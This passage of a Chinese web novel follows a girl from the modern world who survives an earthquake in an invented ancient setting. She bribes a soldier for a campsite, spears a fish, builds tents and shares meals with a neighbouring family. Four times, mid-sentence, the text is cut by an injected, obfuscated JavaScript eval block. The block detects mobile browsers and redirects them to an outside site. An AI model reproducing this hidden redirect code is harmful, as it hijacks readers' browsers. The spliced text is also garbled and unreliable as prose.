季元武躬身点头，走到桌前坐下，动作略有些生疏地拿起笔，根据官兵的要求，挨着一户户做记录，大致询问灾民们的姓名、籍贯和成员信息。 这样一户户终于问到了季家和宁家。 宗明川对昨晚的事情记忆犹新，无论是胆大的宁竹，还是带着两个孩子的卞含秀，亦或是人高马大的季元武，他看着都十分眼熟。 当询问时，他听说两家人中，只有一个在书院上学的孩子没在时，不禁多看了几眼。 留意到他们都没有受伤，连油皮都没破，不论是大人还是孩子面上都不见丝毫狼狈惶恐，还有那准备充分的手推车和背篓，都让这家人显得有些与众不同。 季元武弓着腰适时开口。 “老爷，这是拙荆和小女，”他说完，又指着宁竹两姐妹道，“这是我的两个侄女儿，可否请老爷行个方便，将我们两家安排在一起。” 这是昨晚两家人商量好的，也是季家夫妇想要照顾两个孩子。 见状，宁竹也仰头，露出天真的模样，脆生生地开口道：“官兵老爷，家中只有我和妹妹了，我们不想和季叔他们分开，求求您。” 宗明川只是低头看了宁竹几眼，又看见紧挨在她腿边，显得怯生生的宁荷，没多说什么，微微颔首，算是答应了。 宁竹刚才说话时，手中还捏着半块碎银子，心想如果不行，或许可以试试其他法子。 没成想，她还没来得及付诸行动，对方就同意了。 两家人连连道谢，恭恭敬敬送走了人。 宁竹对于这群官兵又有了新的认识，外表看起来凶神恶煞的，却出乎意料地好说话。 等做完盘问登记后，官兵们开始组织灾民出城，出城的好些路都被掩埋了，时间紧迫，只临时清理出一条小路。 路程时间被拖长，再加上出城的人数众多，灾民们从天亮就出发，硬是到了晌午才到落脚的破庙。 这个时代可不比现代，士兵不是会为人民服务的子弟兵，现在的官兵在普通老百姓眼里是实打实的“官”。 百姓们对官兵心存畏惧，不到万不得已绝不会生出反抗之心，那些舍不得家业的人，对撤离出城也不敢提出异议，即便有些小心思，也被官兵腰间的长刀给震慑了回去。 是以，出城的路上没出现什么大波折。 宁竹想要再多了解了解这几个官兵，路上见缝插针地问着卞含秀和季新桐，试图从昨夜短暂的交流中，大致摸清官兵们的脾性。 季新桐胆子小，再加上还是个未出阁的小娘子，与那几个官兵没什么交流，只是给母亲搭把手递了几碗粥水。 那些士兵没做出什么逾越的行为，就算是有也被那个看起来最凶的刀疤脸制止了，此外，她还说道那些官兵手背上都有或大或小的狰狞伤疤。 相比于季新桐，卞含秀知道的消息更多，她是个心思细腻的人，借着做饭的机会，也打听到了一些信息。 她告诉宁竹，以后这五个官兵就专门负责他们这一片的人，之后任何事情都要经过他们，不管是领救济粮，还是招募灾民做工都绕不开。 领头的那个刀疤脸官兵不知道具体姓名，只知道姓宗，底下的人都叫他“宗伍长”。 宁竹对这个华夏历史上不存在的时代不了解，但总归是有些相似之处的，像是“伍长”一职，她大概知道一点。 算是军中最的小头目，手底下管着五名士兵，主要负责监督和管理他们的日常训练、勤劳等事务。 昨晚的救济粮和干净的水是由其他官兵运过来的，宗伍长清点完数目之后就直接给了卞含秀并其他几位帮忙煮粥的妇女，并未私下克扣。 这些官兵话不多，卞含秀知道的也就这些，具体他们是哪里的兵她也不清楚。 收集到这些信息已经足够了。 宁竹冷眼看这些官兵，他们绝非衙门里那些酒囊饭袋可比，走路时步伐稳健，下盘扎实，显然是习武之人。 周身带着一股肃杀之气，哪怕没经历过战争，也绝对是见过血的人。而且，官兵们对那个宗伍长服从性很高，看得出有较为严明的纪律。 这些官兵应是军中之人，就是不知道是从哪里调遣来的。 看样子，灾民们上头应该是不会轻易换人，这是件好事，宁竹深谙“熟人在好办事”的道理，心中盘算着可以看情况接近他们，打好关系。 且说一行人到了破庙之后，说是破庙，还真就名副其实，庙宇整体已经塌了半边，莲台上的菩萨跌进泥地里，被掩埋在废墟中，庙里住人肯定是不行的，灾民们只是以这里为中心，散开安置。 在地动前，宁竹曾经来过这里，她记得周边地势宽阔，不远处还有一条小河，起码基础的水源问题解决了。 这里距离宁竹当初跟张德明父子交易玻璃珠的小树林也不算远，生火取暖做饭的柴火也是不缺的。 最大的两个生存问题得到解决，已经算是非常不错的避灾地点，只是除此之外，其余的问题只能靠灾民们自己解决了。 宗伍长没忘记答应过的事，派了位官兵将两家人安置在一起。 宁竹人小言轻，别人也不会将她放在眼里，有些事情只能由身份最合适的季元武出面。 宁竹偷偷将手中准备好的碎银塞进季元武手中，暗示必要时候还是得使用“钞能力”才行，想住好点的地方，总不好一毛不拔。 季元武自然是不会要的，可是也不能在官兵眼皮子底下推拒，只好暂时收下。 有钱能使鬼推磨，这句话果然不假。 季元武将银子私下递给那位官兵时，对方没有义正言辞地拒绝，而是直接收下，动作之熟练，想来这种外快没少收，也是在领头的官兵允许的范围内。 带路的官兵面无表情地收下银子，没有许诺什么，不过办事很靠谱，宁竹他们分到了一个较为清静背风的位置，地方不算大，不过够用。 最大的优点是——离那些官兵的驻扎地比较近，无形之中能减少很多麻烦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143081|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁竹不怕官兵收这钱，怕的是他们不收，收下这钱，就证明好些事有了操作的余地。 比如，打听城内其他地方的情况、官府接下来的打算、还能请他们帮忙留意季新承的行踪。 不过这些现在还急不得。 总算是安定了下来，虽然只是暂时的，但众人都忍不住松了口气，明明距离地动才过去了一夜，却像是已经过了好久，大家都累得不轻。 可是天色越来越暗，空气中都带着水汽，再过不了多久就要下雨了，他们没时间休息。 季元武本来想将碎银还给宁竹。 可后者摆出一副可怜巴巴的样子：“秀姨季叔，我和妹妹还要麻烦你们一段时间，哪能次次都让你们出钱，你们放心，我手里暂时不缺银子，不会打肿脸充胖子的。” 她死活不肯收回去，季家夫妇无奈也只能收下了。 众人还不知道要在这破庙周围停留多久，趁着雨还没下起来，抓紧时间做事。 今天要搭灶台生火做饭，还要修出一个适合的住处，不用多好，只要能遮风挡雨就行，最重要的是要方便活动，至少如果再发生地动一次，能让他们第一时间逃跑。 宁竹上辈子有过在野外生活的经验，第一时间想到的就是简易帐篷，正好她找到了一块油布，这样一来，起码今晚不用担心淋雨。 她在季元武去砍柴时拉住了人，请他多带些高大粗壮的树干回来，后者欣然答应了。 季元武走后，宁竹和季新桐一人抱着一个陶罐去打水，卞含秀留下来打扫空地，宁荷跟在屁股后面帮忙清理着地上坚硬的小石子。 这会儿大家都还在适应新住处，在河边打水的人不算很多。 季新桐看着湍急的河水，皱了皱眉。 “这水......” 不怪她迟疑，地动才刚刚过去，原本清澈的小河此刻裹挟着泥沙，变得浑浊不堪，水流看起来湍急跌宕，拍打在岸边，顿时溅起高高的水花，河面上还漂浮着断裂的树枝。 肉眼看着着实不像是能用的样子，要是往日用来扫洒都觉得不干净。 宁竹面色如常，只是多看了两眼不远处的那片芦苇，收回视线道：“附近只有这一个水源，水还打回去还得静置一段时间，烧开之后才能喝。” 季新桐叹了口气，他们算是过得不错的了，眼下实在是没有挑剔的资格。 “那我们快些，打完水早点回去。” 河面看着急，实际并不深，季新桐捋了捋袖子，蹲下身伸长手臂，扶着陶罐去接水。 宁竹也跟着蹲了下来，突然，她看到河底似乎有什么东西动了一下。 她目光一凝，换成单手抓着陶罐，另一只手拾起被河流冲上岸的一截树枝，眼神牢牢锁定在土黄色的水中，静静等待什么。 一旁的季新桐注意到她的动作，下意识开口问道：“小竹，你这是——” 话还没说完，宁竹就发出轻轻“嘘”声，示意她先噤声。 季新桐不明所以，不过看她严肃的神情，还是安静下来，连呼吸都放轻了，扶着陶罐的手臂一动不敢动，生怕打扰到她。 宁竹看准方向，将力气集中在手臂，猛然将手中的树枝投掷向河底的石缝中。 树枝进水几乎没发出什么声音，但下一秒，河面就泛起重重的波澜，有什么东西在地下疯狂扭动着，却又挣脱不开。 季新桐瞪大眼睛。 宁竹手疾眼快地将树枝从河底拔了出来，上面赫然穿着一只还在摆动尾巴的大黑鱼！ 树枝完全穿过它的身体正中，任它如何挣扎都无法逃脱，痛得鱼嘴巴一张一合。 宁竹特意将鱼拿开一些，避免吓到季新桐。 平日里不难看出，卞含秀夫妇是将女儿娇宠着长大的，她以为季新桐恐怕会被吓到，谁知她扭过头时，却看见了对方仿佛闪动着星星的眼眸。 “你好厉害小竹！可以教教我吗?” 8. 搭帐篷盘点物资 季新桐的声音中带着兴奋和期待，钦佩之情溢于言表，脸上哪儿有半分恐惧。 闻言，宁竹先是愣了愣，接着轻笑道： “行啊，不过这里水流太急，不适合练习，等回头我找个安静点的地方教你，就是会有些辛苦。” 季新桐眼睛亮起来，一下都忘记自己还扶着装满水的陶罐，缺乏锻炼的手臂早就酸软不已，起身时发出“嘶”的一声，也顾不上揉一揉。 “我不怕，我能坚持的！” 这幅模样的少女相比于平时娴静的模样多了一点活泼，整个人看着都生动鲜活不少。 眼下不是说这些的时候，周围打水的人不止有她们，好些人都看见宁竹从水里叉到鱼，顿时就按捺不住了。 也不管天上已经开始飘雨，好些性子急躁的直接“扑通”跳进河里，搅得原本就浑浊的水更加混沌不堪。 好在宁竹他们已经打完水了，不至于喝别人的“洗澡水”。 可是，总有人想着捡现成的，周遭有好几人眼中闪着贪婪的光芒，挪动脚步，慢慢朝宁竹两人靠近。 宁竹心中冷笑一声，目光看向神色有些紧张的季新桐。 “新桐姐，你等我一下，安置点那边不方便，把鱼处理好了再回去。” 季新桐绷紧脸颊，理智告诉她，现在她们应该马上离开这个是非之地。 可是当她迎上宁竹清澈平静的黑眸时，明明对方还不及自己肩膀高，她却诡异的感到安心。 季新桐努力让自己看起来没那么紧张，点头说“好”。 宁竹重新蹲下身来，耳边只听见“唰”破空响，不知从她哪里变出来一把锋利的小刀，直直朝鱼肚的位置划过去，血液飞溅而出，刺眼的红色两三滴落在她脸上。 她剖鱼的姿势相当利落，掏腮去鳞结束后，鱼肉居然还在轻微跳动。 这还不算弄完，女孩低头看着手里的鱼，眼神专注，似乎是在看哪里没有弄干净，手中的那把小刀在指尖翻飞，闪烁的寒光看得人不寒而栗，仿佛下一秒刀子就要落在自己身上了。 瘦小的女童面无表情，那股下手的狠劲儿，看着竟然还有些渗人，那些不怀好意的人只觉背后微微发凉，一时不敢再靠近。 最后连宁竹她们拎着死鱼和陶罐离开时，都下意识地避让开了。 季新桐看着镇定，实则连大气都不敢出，等走远了，看见爹娘的身影后才重重地呼出一口气。 到底是才十四岁，搁现代还在上初中的年纪，生活在父母保护下没经历过什么风浪，季新桐这两天经历的事，比她前半生的日子加在一起都过得惊险刺激。 季新桐抚着胸口，表情有些惊魂未定，后知后觉道： “不行，这样太危险了，下次不能这样了，万一他们冲上来怎么办。” 宁竹张了张嘴，正想说“有她在不会有事的”，刀是为了震慑那些人的，就算她赤手空拳，那些人加在一起都不是她的对手。 她转念一想，又觉得现在这幅身板，讲这个话似乎没什么说服力，没准还会惹人发笑。 迟疑的这瞬间，季新桐腾出一只手，动作吃力地抱着陶罐，空出来的手微微抬起，捏住袖子边缘，动作轻柔地替宁竹擦了擦脸上的血迹，抿着唇语气自责。 “是我的错，不够警惕细致，还好没出什么事。” 季新桐自当自己是姐姐，任何时候都应该保护宁竹这个妹妹。 听见她的话，宁竹一时语塞，颇有些无措。 自从她来到这里，在季家人身上收获到了久违的善意和关心，说实话是有一些不适应，不过她也在心中暗自庆幸。 幸好，幸好来了。 不论之后会是如何，宁竹都不会后悔来到这个陌生的时代。 季新桐又好奇地问道：“对了，你哪里来的刀？” 地动前的涉州城，每条街巷都有人定时定点的巡逻，甚少发生什么凶恶的案件，一个小姑娘随身带着一把这么锋利的小刀确实有些奇怪。 宁竹顿了一下，摸摸紧贴着大腿的刀。 “是阿兄给我的。” 这话不假，确实是宁松留下的，铁制品难得，是宁父特地为儿子打造的，曾经也是宁松的心爱之物。 他迫不得已留下两个妹妹在家，就留下小刀让“宁竹”留着，多一个防身的物件。 当时宁松拜托季家人多多照应两姐妹，以为自己跑商快去快回，应当花不了几个月时间，谁知道这一去，就再也回不来了。 原身把匕首当做睹物思哥用的纪念物，向来都是小心收好保存起来的，宁竹来到这里后没有趁手的武器，只好留在身上，暂时借用一下。 听宁竹这样一说，她随身带着匕首就很好理解了。 季新桐也就是顺嘴一问，这事就算是揭过。 —— 城外不比曾经在城中，鱼龙混杂的，卞含秀让两个姑娘去打水，嘴上没说，心里一直担心着，时不时就要抬头看看人回来了没有。 左等右等，等到季元武都扛着柴火和树干走了好几趟了，都没见到两个孩子的身影，她顿时有些坐不住了。 开口就要催促丈夫去瞧瞧，谁知扭头就看见两个孩子往回走，宁竹还好，嘴角还带着笑，反观自家闺女，背后像是有鬼追一样，小脸煞白煞白的。 卞含秀担心她们遇到了什么事，立马起身去接。 “怎么去了这么久，是不是遇见——” 走近后，她的声音戛然而止，一眼看见了宁竹左手上拎着个被开膛破肚的大鱼。 宁竹和季新桐对视一眼，默契的隐瞒了刚才的事。 后者蹭到母亲身边，红着脸声音激动道：“阿娘，你快看，是小竹叉到的鱼，她可厉害了......” 卞含秀惊讶地张开了嘴，没太把季新桐的话当回事儿，只道是两个孩子运气好，又看黑鱼被拾倒得干干净净的，自己的女儿自己知道，不用猜也知道肯定是小竹收拾的。 她心中叹了口气，也是家中没有大人，宁竹自己都还是个孩子就要照顾家里，说什么懂事能干，都是被逼出来的罢了。 不过她也没有说什么扫兴的话，只夸奖道： “瞧瞧这鱼，又大又肥，弄得多干净啊，真是厉害啊我们小竹。” 接收到慈爱心疼目光的宁竹一脸莫名，不知该如何回答，只好把手里的鱼递出去：“这鱼不宜久放，秀姨你趁新鲜做了吧，大家都尝尝。” 卞含秀没接，反而是拿过她手上的陶罐。 “不成，这鱼你自己留着和妹妹一起吃，秀姨帮你做成咸鱼，能吃好几顿呢。” “黑鱼不适合做成咸鱼，再说现在也没有这么多盐，我和小荷都更喜欢喝鱼汤，就当是谢谢您照顾我们，秀姨你就别客气了，好不好？” 说着，宁竹还给宁荷使了一个眼色，后者心领神会，捂着小嘴偷笑，缠住卞含秀，稚嫩的童音重复着“好不好好不好”。 卞含秀被几个女孩闹得晕晕乎乎，只得无奈应下。 “好好好，那待会儿就做鱼汤，咱们大家都能吃个热乎的，都补一补。” 如今还不知道城中的粮铺还开不开，什么时候能开，卞含秀总是不好意思白吃孩子的东西的，寻思着从其他地方找补回来。 ——嗯，那就把丈夫昨夜带回来的粟米也给煮上。 卞含秀定好晚饭吃什么，可打回来的水还不能马上用，得等水沉淀以后才能烧水做饭。 趁这会儿功夫，几人就开始搭建新的临时住所。 这年头交通不便，贫民百姓出门不管远近基本就靠两条腿，行走在外，风餐露宿是常有的事。 季元武也不是一开始就是做铁匠的，早年间还当过走货郎，卞含秀也常常陪在丈夫身边。因此，对于搭建简易住所这种事，两人虽然好些年没动手做过，手艺有些生疏，但大致还是会的。 宁竹也根据现代的帐篷提了点建议。 几人齐心协力，终于赶在雨下大之前，将一大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143082|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一小两个帐篷搭建了出来，都是非常简单的三角形帐篷。 从季元武拿回来的树干里选了两根较长的，做“人”字形交叉捆紧后，斜插进地面，再找来一根较短的木棍，算好距离后插到对面，最后树干作为横梁链接两头，分别用麻绳捆紧。 剩下的就是沿着“横梁”不停重复“人”字交叉搭建，手里头的麻绳不够，宁竹还去寻了藤条回来。 这样最基础的框架就完成了，最后再将他们重新折返回河边，收集到的芦苇和苔藓铺上去填满缝隙。 不过光靠芦苇和苔藓肯定是不能挡雨的，还得盖上油布，油布不够大，只能勉强能遮住大点的那间帐篷。 季元武就将粗壮的树枝深深凿进大帐篷四个角的地面，将油布展开铺平，系在这些树枝上，就算是大功告成。 宁竹伸手摇了摇，还算稳固。 大的有油布盖着的那间用来睡觉，大家只能暂时挤一挤了，躺平睡下肯定是不够的，只能今晚暂时将就一下，等度过雨天之后再说。 宁竹两姐妹和季新桐睡里边，季家夫妇俩睡外边，中间用布料做了简易的遮挡，稍微离居住地远点的小帐篷就用来当茅房。 三个孩子都是小娘子，总是不好一直在外面方便的，也幸亏大家都没怎么喝水，不然没地方上憋着是真难受。 宁竹和季家夫妇都不是不爱洁的人，因此虽然是外人看着这个小帐篷，觉得是多此一举，但对他们来说，在条件允许的情况下是必须要的。 要说古代就是这点不好，这会儿讲究点的人家还知道用恭桶，就算是如今没条件，也知道去远点的地方上，埋好了再回来。 可那些个不讲究的人家，特别是男人，直接背过身就解开裤腰带开始方便的也不是没有。 宁竹在外面走路都要小心，谁知道下一秒会不会踩到屎。 不过他们住的这周围倒是不用担心，毕竟那几位官兵就在旁边，没谁会跑来这里方便，除非是不要命了。 宁竹顿时感觉，那半钱银子没有白花，住在附近好处多多，背靠大树好乘凉啊。 宁竹拎着背篓走进帐篷，也就刚刚好不用低头的高度，季新桐都得微微弓着腰，三个人都站在里面基本也就转个身的空间。 帐篷里空地用木板和干草铺起来，勉强隔绝地面的湿气，看着十分简陋。 可就算是这样，都已经是极好的条件了，毕竟好些人家只能幕天席地，他们好歹还有个栖身之所。 只是还比不上那几位官兵，他们住的是硝制的牛皮帐篷，铁楔深深夯进土里，绑在角上的麻绳绷得笔直，看着比他们的结实宽敞不少。 宁竹羡慕，不过她对自己的小帐篷也很满意，终于有了隐蔽的空间，她随意地擦擦脸上的雨水，坐下来盘点背篓里的东西，宁荷就贴着她看。 季新桐看见了，自觉就出去给母亲帮忙。 宁竹数了一下，目前身上还有九百两的银票，铜钱和银子加在一起约摸有个四十两，妥妥的小富婆。 另外姐妹俩还有三套春衣、一套宁竹的破袄子、一套沾了灰尘的被褥。 食物除了地窖里面的存粮，有两大块三斤左右的咸肉、一包干贡菜和木耳、三十斤细面、粗粮也有十来斤。细粮多粗粮少，这也是因为宁竹有钱后，绝不亏待自己的胃，所以买的基本都是细粮精面。 其他杂七杂八的，一个大木桶、五副破破烂烂的碗筷、一个小铁锅、歪嘴铜壶、小匕首、剪刀、半包细盐、一半竹筒酱油和猪油一罐。 怎么说呢，家中剩下的食物浪费了宁竹固然心疼，不过能拿回来这些也不错了，反正比在末世后和刚来到这里的时候富裕多了，她很满足。 宁竹细粮和粗粮先各拿出来十斤交给卞含秀，之后肯定是要搭伙吃饭的，就当是姐妹俩的伙食费。 卞含秀也没有客气，直接收下。 “这段时日咱们搭伙过日子，每日吃了多少秀姨也会告诉你的，倘若没吃完，到时候再还给你。” 9. 鱼汤 季家人口多，卞含秀是担心宁竹年纪小，对食物的需求量没有概念，所以才这么说，让她自己心中有个数。 宁竹轻咳一声，之前去季家做客时，她都有意在控制食量，所以卞含秀对她的真实食量还不了解。 这十来斤粮食对她来说，不过是一周的量罢了，在条件允许的情况下，宁竹并不想委屈自己，还是更喜欢一天吃三顿饱饭。 宁竹直言道：“秀姨，劳烦您每日都按照季叔的饭量再加一倍量下米吧，我和小荷都还在长身体，一日要吃三餐，午时不吃的话，撑不到晚上。” 卞含秀听了，眉头微微一皱。 多加一餐倒不是什么大事，孩子饿得快，她家那两个小时候也是这样，可是季元武是个每天干力气活的汉子，食量本就比常人大得多，再翻倍的话，确实有些吓人。 她忍不住问道：“小竹，你煮这么多饭做什么？” 若是一般孩子这么说，卞含秀都怕孩子不懂事，可能是看别人可怜，要把粮食舍出去，直接就给拒了。 可宁竹不同，她一向懂事，做事也有分寸，卞含秀觉得她不会无缘无故提出这样的要求，故而由此一问。 宁竹坦然回答：“我力气大，所以吃得也比较多。” 卞含秀愣了一下，随即点了点头。 也是，力气大的人自然吃得多，这没什么好奇怪的。 卞含秀欣然接受了宁竹食量大的事实，心里却有些愧疚，想着昨夜打粥时应该再给孩子多打些稠的，这孩子懂事，肯定没吃饱，一路上都没怎么吭声。 当即决定再多煮一把米，让宁竹吃顿饱饭。 两人商量好后，水也沉淀得差不多了，上层的清水看起来还算干净，没什么明显的杂质，烧开了用应该没什么问题。 天色已经不早了，卞含秀不再耽误时间，赶紧准备烧水做饭。 晚饭就吃宁竹带回来的鱼，煮成鱼汤，只是鱼有些太大了，整个炖不下，只能先吃一部分，剩下的再接着做。 “孩子他爹，先把火升起来。” 季元武应了一声，柴火刚才趁着下雨前捡了不少，火折子也没丢，生火就是眨眼的事。 火刚刚燃起来的时候，几个穿着皮甲的士兵送来了今天的救济粮。 这两日大家基本只喝了两碗清粥，肚子早就饿得不行了，一看到粮食，所有人像是猫见了老鼠似的挪不开眼。 一时间都朝那边挤靠过去。 宁竹站在一旁，目光落在运粮车上，她注意到，每次发放的粮食量似乎都是刚刚好的，几乎没有多余的分量。 这让她心里一沉，意识到情况可能不太妙。 一是官府自身的存粮已经不足，分发粮食时捉襟见肘，只能勉强保证灾民们肚子里有食儿；二是官府担心灾民在饥饿的情况下铤而走险，抢夺粮食，因此严格控制发放量，避免引发更大的混乱。 倘若是第一种情况，如果再次发生地动，那官府很有可能会供应不上，因而断掉救济粮。 像宁竹这样有存粮的人或许还能勉强支撑，但大多数灾民都是靠着这些救济粮过活的，人一旦饿肚子，那就什么都做得出来。 灾民区很可能会爆发冲突。 宁竹叹了口气，只能在心中祈祷是第二种情况，这样至少说明官府还有一定的存粮储备，灾民们不至于陷入绝境。 今天官兵没有像昨夜那样，直接让妇人们去煮粥，而是在绵绵细雨中大声宣布。 “走开！都散了！每户派一个人来领救济粮。” 这话一出，有人欢喜有人愁，有锅的人自然是喜不自胜，这样就不用担心自己的粮食被吞。而没有锅的人则愁眉苦脸，没有锅怎么煮饭，只能去找人借，关系好的还好说，关系不好的，恐怕还得给点报酬，想想就让人肉痛。 领到救济粮后，营地里升起了不少火堆，家家户户都开始烧水做饭，那群官兵也在不远处用饭。 一股霸道的烤鸡香味渐渐弥漫开来，炖鱼汤的味道也被掩盖了下去，这样一来，宁竹他们反倒没那么显眼了。 鱼肉用猪油稍稍煎了一下，再加水去煮，没过多久，锅里就咕噜咕噜冒出了奶白色的泡泡，最后撒上些盐，鱼汤就算做好了。 卞含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143083|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀给每个人都打了一碗，接着煮上新一锅。 鱼汤没有加去腥的东西，味道说不上多好，不过也没有人嫌弃，大家都迫不及待地低头喝上一口，热热的汤汁从食道滑过，熨烫了脾胃，仿佛连心也跟着平静了下来。 整个灾区营地的声音都小了些，都在享用这顿来之不易的晚饭，只是偶尔，耳边还能听到低低的呜咽和啜泣声。 晚饭过后，雨势渐渐停了，不过天色也没有放晴的意思，依旧沉闷，空气中都是潮湿是味道。 宁竹总算是吃了一顿饱饭，主动揽下了洗碗的差事。 此时，远处传来了一阵“哒哒”的马蹄声，宁竹抬起头，看到两个官兵骑马而来，身后还跟着一位穿着长衫、留着山羊胡的男人。 三人下马后，随着宗伍长进了帐篷，大概是有事情要商议。 宁竹停下来脚步，打算等等看会是什么事。 果然，没过多久帐篷里走出一个人，高声宣布叫各家派人过去，宁竹他们因为离得近，自然而然地站到了第一排。 等人来得差不多了，那位宗伍长就沉声开口道： “明天开始清理内城，年满十五有意者皆可来我这里登记，每日可拿三十文，管一顿粥饭。” 这个报酬，搁在往日没几人会买账，毕竟普通大汉抗一天的包也能有七八十个大钱。 可是今时不同往日，能混一顿饭已然很不错了，虽然城里的房屋几乎都倒塌了，清理差事用脚指头想也不会轻松，但许多人还是想借此机会回家看看，亦或是从废墟中捡些有用的东西。 因而此话一出，人群中立刻响起了七嘴八舌的询问声。 “敢问大人，我爹今年六十了，还能去吗？” “咱们是去清理哪块地儿？” “官老爷，俺们能回家不......” 宗伍长说完就已经跟着山羊胡一同离开了，留下来的官兵可不是什么好性子的人，并不耐烦回答。 “记住了，千万别让我抓到有人偷奸耍滑，不然——”官兵拖长了音调，拔出腰间的长刀，冷笑一声，“我的刀可不认人！” 10. 偷袭者 灾民们纷纷噤声，大气都不敢出，生怕那锋利的尖刀下一秒会落在自己脖子上。 拿刀的官兵眼中划过一丝不屑，也就是他们伍长烂好心，会跟这些难民多费口舌。 众人渐渐散开，宁竹混在人群中，心中已经有了打算。 明日她要跟着做工的人一起进城，除了去地窖取粮食，她还想着再找找看，有没有其他有用的东西。 “底下没准还埋着死人，这也太晦气了，不成不成，我可不去！”宁竹听见旁边有一人如此说。 另一个人附和道：“就是说，谁知那地龙还翻不翻身？别钱没挣到，反倒把自个搭进去，实在是不划算，就待在这里，每日还有救济粮，再不济也饿不死人，忍一忍也就过去了。” 也有人不以为意：“城里的屋子还有几间是完好的，就算是地龙真来了，那也是塌无可塌。” “得了吧，人都要饿死了，有人还在乎这些有的没的，万一底下埋着人还没死，那咱们也是救人一命胜造七级浮屠，积德嘞。” 灾民们意见不同，也说不到一起去，没一会儿就各自散开了，每家每户都有自己的打算。 回到帐篷处，宁竹将自己的打算说了出来： “我还要再回去一趟，先前我在灶房里囤了好些东西，昨夜太黑了，还没拿完。” “我休息时就去帮你。”季元武这话就是说他也会去，顿了顿又道，“承哥儿还没有消息，明天我进去做工，顺便打听一下情况。” 卞含秀也忧心儿子的安危，自然也想去。 说起弟弟，季新桐也嘴唇微微动了动，似乎想说些什么，但最终还是沉默了。 她知道自己年龄不够，做工的人不会收她，去河边打水爹娘会同意，但是独自进城他们绝对不会允许的。 季新桐只能将心中的担忧压在心底，只默默地看着父母商量。 现在的临时住所这边不能不留人，没门没锁的，要是被人偷了就只能自认倒霉，季家夫妇商量了一番，决定一人去一日，轮流进城，这样既能照顾到家里，也能兼顾寻找儿子的事。 宁竹没有插嘴，只是心里盘算着，如果明天进城后可以全部拿完，她就跟季家夫妇说，之后自己留在营地就好，别耽误他们找儿子。 事情说定后，季家夫妇便去官兵那里登记，宁竹重新端着盆去洗碗，宁荷又变成了姐姐的小跟屁虫，忙前忙后地递帕子、捏肩膀，生怕姐姐累着。 洗完碗后，水用了一大半，天色还没完全黑下来，宁竹打算趁着雨停了，再去一趟河边，把空出来的木桶接满，多存点水。 毕竟水沉淀泥沙需要时间，而吃饭洗漱都离不开水，消耗得很快。 季新桐想起白天的事，细细的眉毛蹙起，有些不放心道：“要不等我阿爹阿娘回来，我陪你一起去？” 季家夫妇不知道是被什么事情绊住了，这半天也没见回。 宁竹摇了摇头：“不用麻烦，地方不远，一会儿就回来了，你帮我跟秀姨他们说一声就好。” 季新桐看向她身边的宁荷，犹豫了一下，提议道：“那把小荷留在这里吧，我带着她。” 宁荷很喜欢温柔的季家阿姐，可此刻实在是不想离开姐姐，但又不知道该怎么说，只能眼巴巴地望着宁竹。 宁竹安抚地拍拍她的头：“我带着她去，快去快回。” 季新桐见状，也不好再坚持，只能点点头，叮嘱道：“那你们路上小心些。” 得到了首肯，宁荷牵着姐姐的衣角，高高兴兴地跟着去了。 季新桐站在原地，看着两人的背影渐渐远去，手指摩挲系在腰间木制小蜻蜓，忍不住喃喃道：“不知道承哥儿现在在哪里......” 她和季新承姐弟俩从小关系就很好，连脸红吵架都没有过，此刻，她是真的担心弟弟的安危，不知道他是否也在寻找他们…… 另一头，宁竹带着宁荷往河边走，一路都有看见燃烧的火堆，这里离水源近，聚集了不少灾民。 昏暗的天色下，隐约能看见河流还是早些时候的样子，想来一时半会儿是变不回原本清澈的模样。 宁竹蹲下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143084|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，拽住绳子将木桶沉进河里，突然，她感觉嘴唇被人用什么东西抵住，鼻尖嗅到甜滋滋的味道。 她侧过头，先是看见一双肉乎乎的小手，宁荷的两只眼睛弯成月牙状，见她望过来就单手捏捏手里的荷包，小声道： “阿姐，快吃，可甜呢。” 是昨日宁竹带她上街时候买的蜜饯果子，当时没注意到，她还偷偷藏了几个。 小不丁点，还挺会隐藏。 